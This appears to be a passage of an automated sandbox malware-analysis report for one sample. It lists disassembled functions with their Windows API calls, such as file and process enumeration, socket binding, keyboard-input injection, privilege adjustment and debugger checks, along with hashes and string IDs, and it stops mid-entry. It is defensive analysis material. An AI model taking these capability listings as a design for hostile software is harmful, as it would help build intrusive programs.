                                                • Opcode Fuzzy Hash: c4b3568522cefe9db3377294ac0a6924a72004e595f89c3d1aaabb1ba6339f97
                                                • Instruction Fuzzy Hash: 25310072104305AFCB26DF14C849BABBBADFF88310F00091DF99497191DB34EA59CB92
                                                Function 00309B2B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00299CB3: _wcslen.LIBCMT ref: 00299CBD
                                                • FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00309B78
                                                • FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00309C8B
                                                  • Part of subcall function 00303874: GetInputState.USER32 ref: 003038CB
                                                  • Part of subcall function 00303874: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00303966
                                                • Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00309BA8
                                                • FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00309C75
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
                                                • String ID: *.*
                                                • API String ID: 1972594611-438819550
                                                • Opcode ID: 765b087ee2a95f56bc40a068d041dccf9efddc99e3a0db2a1ff66c9cd2a056ec
                                                • Instruction ID: b1a063ace1ba6c61ad6e0b7e0af55cab635cc4c65b71fd717e93cc95bb06dc70
                                                • Opcode Fuzzy Hash: 765b087ee2a95f56bc40a068d041dccf9efddc99e3a0db2a1ff66c9cd2a056ec
                                                • Instruction Fuzzy Hash: BB417171D0120A9FDF16DF64C855BEE7BB8EF05310F24419AE805A61D2EB309E95CFA0
                                                Function 002A997D Relevance: 7.9, APIs: 5, Instructions: 375COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002A9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 002A9BB2
                                                • DefDlgProcW.USER32(?,?,?,?,?), ref: 002A9A4E
                                                • GetSysColor.USER32(0000000F), ref: 002A9B23
                                                • SetBkColor.GDI32(?,00000000), ref: 002A9B36
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Color$LongProcWindow
                                                • String ID:
                                                • API String ID: 3131106179-0
                                                • Opcode ID: d3afe7d6b559630d62f099b5e89c837ceaed30c03fc461217e58106ae29ec3a8
                                                • Instruction ID: 68cc143478f25473c3eacf806bbaf323f794666e02546d58005db40784adab99
                                                • Opcode Fuzzy Hash: d3afe7d6b559630d62f099b5e89c837ceaed30c03fc461217e58106ae29ec3a8
                                                • Instruction Fuzzy Hash: 58A16A70178591BFE729EE3F9C48E7B269DDB83304F14410AF502CA596CE619DB1D272
                                                Function 00311806 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 0031304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0031307A
                                                  • Part of subcall function 0031304E: _wcslen.LIBCMT ref: 0031309B
                                                • socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 0031185D
                                                • WSAGetLastError.WSOCK32 ref: 00311884
                                                • bind.WSOCK32(00000000,?,00000010), ref: 003118DB
                                                • WSAGetLastError.WSOCK32 ref: 003118E6
                                                • closesocket.WSOCK32(00000000), ref: 00311915
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
                                                • String ID:
                                                • API String ID: 1601658205-0
                                                • Opcode ID: 302552fe3027f98f88c31468f68adcb85fbefe6744193d7948784f06dbca8894
                                                • Instruction ID: cd7d90441412d9e4f0b4dd7ee6de4ef5ba8e8230b983c83d09980159101cea15
                                                • Opcode Fuzzy Hash: 302552fe3027f98f88c31468f68adcb85fbefe6744193d7948784f06dbca8894
                                                • Instruction Fuzzy Hash: FD51E571A102009FDB11AF24C886FAA77E5AB49718F54C05CF9155F3D3D771AD418BE1
                                                Function 00321C41 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                • String ID:
                                                • API String ID: 292994002-0
                                                • Opcode ID: 7b7f301b69c1f0693022eadeed8f400d54a04eb43f568e5ee0c6a298d885fd08
                                                • Instruction ID: dd9d35bf0de1d0a28fd8eee629b02e067c1695f8bee969039e3b9186ead21f41
                                                • Opcode Fuzzy Hash: 7b7f301b69c1f0693022eadeed8f400d54a04eb43f568e5ee0c6a298d885fd08
                                                • Instruction Fuzzy Hash: CF21D6357402305FD7228F1AE844B6A7BA9EFA5314F1A806CE8458B351CB71EC42CB90
                                                Function 00298060 Relevance: 7.4, Strings: 5, Instructions: 1151COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: ERCP$VUUU$VUUU$VUUU$VUUU
                                                • API String ID: 0-1546025612
                                                • Opcode ID: 9b430fd5b118890b9a71340b343e8f812f72383f38d5c7c20628424ffd2bda94
                                                • Instruction ID: 60394f8d4a2ae2243f5fa1546bf0ce8b54a73b064e7b7d962f4100c034b02f84
                                                • Opcode Fuzzy Hash: 9b430fd5b118890b9a71340b343e8f812f72383f38d5c7c20628424ffd2bda94
                                                • Instruction Fuzzy Hash: 19A29371E2062ACBDF24CF58C8447ADB7B1BF55314F2881AAE815AB385DB709DA1CF50
                                                Function 002F8298 Relevance: 6.6, APIs: 1, Strings: 3, Instructions: 568stringCOMMON
                                                Download Yara Rule
                                                APIs
                                                • lstrlenW.KERNEL32(?,?,?,00000000), ref: 002F82AA
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: lstrlen
                                                • String ID: ($tb5$|
                                                • API String ID: 1659193697-3934612968
                                                • Opcode ID: 1438cbf868cf10cccad0e700a7dffce72361c813c6a55fb8701b15a9fd7053fb
                                                • Instruction ID: 4575d361f0811e6279518dc728916e28a15a208e959ba59279046836328eb2ca
                                                • Opcode Fuzzy Hash: 1438cbf868cf10cccad0e700a7dffce72361c813c6a55fb8701b15a9fd7053fb
                                                • Instruction Fuzzy Hash: B8324775A1060A9FCB28CF59C081A6AF7F0FF48750B11C56EE59ADB3A1EB70E951CB40
                                                Function 0031A67C Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateToolhelp32Snapshot.KERNEL32 ref: 0031A6AC
                                                • Process32FirstW.KERNEL32(00000000,?), ref: 0031A6BA
                                                  • Part of subcall function 00299CB3: _wcslen.LIBCMT ref: 00299CBD
                                                • Process32NextW.KERNEL32(00000000,?), ref: 0031A79C
                                                • CloseHandle.KERNEL32(00000000), ref: 0031A7AB
                                                  • Part of subcall function 002ACE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,002D3303,?), ref: 002ACE8A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
                                                • String ID:
                                                • API String ID: 1991900642-0
                                                • Opcode ID: dac2989ea62ddfe1f2a82610def050d9eb00d39ca0b5af17b006e0c064c8484f
                                                • Instruction ID: 420eef7669446391ee5328d11ee72ebcf44f232153891f7c6682f5f55e8b1cc3
                                                • Opcode Fuzzy Hash: dac2989ea62ddfe1f2a82610def050d9eb00d39ca0b5af17b006e0c064c8484f
                                                • Instruction Fuzzy Hash: 76517A71518300AFD714EF24C886A6BBBE8FF89754F40491DF589972A2EB30E954CF92
                                                Function 002FAA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 002FAAAC
                                                • SetKeyboardState.USER32(00000080), ref: 002FAAC8
                                                • PostMessageW.USER32(?,00000102,00000001,00000001), ref: 002FAB36
                                                • SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 002FAB88
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: KeyboardState$InputMessagePostSend
                                                • String ID:
                                                • API String ID: 432972143-0
                                                • Opcode ID: ff8ee0957df7bf513aa0161325fe304909d4674c4dfaecfff2ab629f6e8849dd
                                                • Instruction ID: 8ec8596e08832535156cd2bc97b3786c0229a5cfd672a08d4bb9b0cac558e9a9
                                                • Opcode Fuzzy Hash: ff8ee0957df7bf513aa0161325fe304909d4674c4dfaecfff2ab629f6e8849dd
                                                • Instruction Fuzzy Hash: 7C311AB0A6020DAEFB358F64CC05BFAF7AAAB54354F04422AF689561D0D37489A5C762
                                                Function 0030CE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InternetReadFile.WININET(?,?,00000400,?), ref: 0030CE89
                                                • GetLastError.KERNEL32(?,00000000), ref: 0030CEEA
                                                • SetEvent.KERNEL32(?,?,00000000), ref: 0030CEFE
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ErrorEventFileInternetLastRead
                                                • String ID:
                                                • API String ID: 234945975-0
                                                • Opcode ID: a1f48ee71e9c23d42116041377e2005f6af4d6dc448947ad8576b1cf93d2ce78
                                                • Instruction ID: 09026a082c7b131b38fced99fec01c9624529ece3e93ae942c83077cd7b5282b
                                                • Opcode Fuzzy Hash: a1f48ee71e9c23d42116041377e2005f6af4d6dc448947ad8576b1cf93d2ce78
                                                • Instruction Fuzzy Hash: 4F21EDB15217059BDB32CF65C998BAB77FCEB00355F205A2EE646D2191E730EE05CB50
                                                Function 002C2622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • IsDebuggerPresent.KERNEL32 ref: 002C271A
                                                • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 002C2724
                                                • UnhandledExceptionFilter.KERNEL32(?), ref: 002C2731
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                • String ID:
                                                • API String ID: 3906539128-0
                                                • Opcode ID: 943a6bf52d06df73de2cdecdd3d2de955d0276afaecdbc8087a7a3575ba5b2e0
                                                • Instruction ID: e4f847d3ce4d046ea3c2c2ebbd546bfa600288f2a000e72334014255d03ac36d
                                                • Opcode Fuzzy Hash: 943a6bf52d06df73de2cdecdd3d2de955d0276afaecdbc8087a7a3575ba5b2e0
                                                • Instruction Fuzzy Hash: 3131C4749113189BCB22DF64DC88BDDB7B8AF08350F5046EAE41CA7261EB349F958F44
                                                Function 003051CD Relevance: 4.6, APIs: 3, Instructions: 76COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetErrorMode.KERNEL32(00000001), ref: 003051DA
                                                • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00305238
                                                • SetErrorMode.KERNEL32(00000000), ref: 003052A1
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: ErrorMode$DiskFreeSpace
                                                • String ID:
                                                • API String ID: 1682464887-0
                                                • Opcode ID: eaf7ca77a63c55a466b6e9256848aa7ececafdedaddc2b3c78acab10c1b341e6
                                                • Instruction ID: a695a2fc7d837d559c8edec6bc6b38d5309ba7e88b8c000ac5ba7e9a83b1e0f3
                                                • Opcode Fuzzy Hash: eaf7ca77a63c55a466b6e9256848aa7ececafdedaddc2b3c78acab10c1b341e6
                                                • Instruction Fuzzy Hash: E1318E35A10608DFDB01DF54D895EAEBBB8FF08314F058499E805AB3A2DB31E856CF90
                                                Function 002F16C3 Relevance: 4.6, APIs: 3, Instructions: 68COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 002AFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 002B0668
                                                  • Part of subcall function 002AFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 002B0685
                                                • LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 002F170D
                                                • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 002F173A
                                                • GetLastError.KERNEL32 ref: 002F174A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
                                                • String ID:
                                                • API String ID: 577356006-0
                                                • Opcode ID: d5a00e7da25200091034160f6ccae384b13e26e4d61ede581af422bbff8c0f5f
                                                • Instruction ID: 57416acd80f56249e7e72475efd0cf2ea1c63906ce9377b94298414334ff571b
                                                • Opcode Fuzzy Hash: d5a00e7da25200091034160f6ccae384b13e26e4d61ede581af422bbff8c0f5f
                                                • Instruction Fuzzy Hash: 8411C1B2420309EFE728AF54DC86D6AB7BDFB05754B20852EE05653241EB70FC62CE60
                                                Function 002FD5EB Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 002FD608
                                                • DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 002FD645
                                                • CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 002FD650
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: CloseControlCreateDeviceFileHandle
                                                • String ID:
                                                • API String ID: 33631002-0
                                                • Opcode ID: 3f7eb037e56445ffe818e743df54c33aa5c34573856e410206a513b63266df74
                                                • Instruction ID: 9648248ea618fb4c5a8e766f4a251974c0462350098829b1b4969953e531ee7f
                                                • Opcode Fuzzy Hash: 3f7eb037e56445ffe818e743df54c33aa5c34573856e410206a513b63266df74
                                                • Instruction Fuzzy Hash: 1B11A175E01228BFDB218F94EC45FAFBFBCEB45B60F108125F904E7290C6704A018BA1
                                                Function 002F1663 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 002F168C
                                                • CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 002F16A1
                                                • FreeSid.ADVAPI32(?), ref: 002F16B1
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: AllocateCheckFreeInitializeMembershipToken
                                                • String ID:
                                                • API String ID: 3429775523-0
                                                • Opcode ID: 3746bf611e86ae7f7ddc21c98948f7f0c86be209957f504922316683f267d126
                                                • Instruction ID: fce6425a40555c216e2de765d520149a174f5618745921dbd1cbe7a5ff44c8a6
                                                • Opcode Fuzzy Hash: 3746bf611e86ae7f7ddc21c98948f7f0c86be209957f504922316683f267d126
                                                • Instruction Fuzzy Hash: 9EF0F47196030DFBDB00DFE49C89EAEBBBCFB08744F508565E501E2181E774EA448A54
                                                Function 002B4CE8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • GetCurrentProcess.KERNEL32(002C28E9,?,002B4CBE,002C28E9,003588B8,0000000C,002B4E15,002C28E9,00000002,00000000,?,002C28E9), ref: 002B4D09
                                                • TerminateProcess.KERNEL32(00000000,?,002B4CBE,002C28E9,003588B8,0000000C,002B4E15,002C28E9,00000002,00000000,?,002C28E9), ref: 002B4D10
                                                • ExitProcess.KERNEL32 ref: 002B4D22
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID: Process$CurrentExitTerminate
                                                • String ID:
                                                • API String ID: 1703294689-0
                                                • Opcode ID: 13298cdbf78ed4704b6457094c3bb412000b4d28c4fa722e92236a5effa94ca3
                                                • Instruction ID: 6aca6ee40cc8dc0ff53bcb76e7a49b74c29bf05e7ec691df3567d2a63387af6d
                                                • Opcode Fuzzy Hash: 13298cdbf78ed4704b6457094c3bb412000b4d28c4fa722e92236a5effa94ca3
                                                • Instruction Fuzzy Hash: 52E0B631020549ABCF22BF54DD4AA983B6DEB45795F108418FD058A123CB39EDA2DB84
                                                Function 002CC2A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.0000000000352000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459692537.000000000035C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459725838.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_290000_fqbVL4XxCr.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: /
                                                • API String ID: 0-2043925204
                                                • Opcode ID: b3e0664c809ae60b4879f18b6252bb7c5e04c25887e063512fc0ca6499f96fd6
                                                • Instruction ID: b28a8848a4fe3c67d30e42678b547d648bb8a10bf4605a58a1cf94d4ef49d6a1
                                                • Opcode Fuzzy Hash: b3e0664c809ae60b4879f18b6252bb7c5e04c25887e063512fc0ca6499f96fd6
                                                • Instruction Fuzzy Hash: 2D413872910259AFCB249FB9DC48EAB77B8EB84354F2043ADF909C7180E6719D51CB50
                                                Function 002ED27A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON
                                                Download Yara Rule
                                                APIs
                                                • GetUserNameW.ADVAPI32(?,?), ref: 002ED28C
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1459377102.0000000000291000.00000020.00000001.01000000.00000003.sdmp, Offset: 00290000, based on PE: true
                                                • Associated: 00000000.00000002.1459264162.0000000000290000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1459478990.000000000032C000.00000002.00000001.01000000.00000003.sdmpDownload File
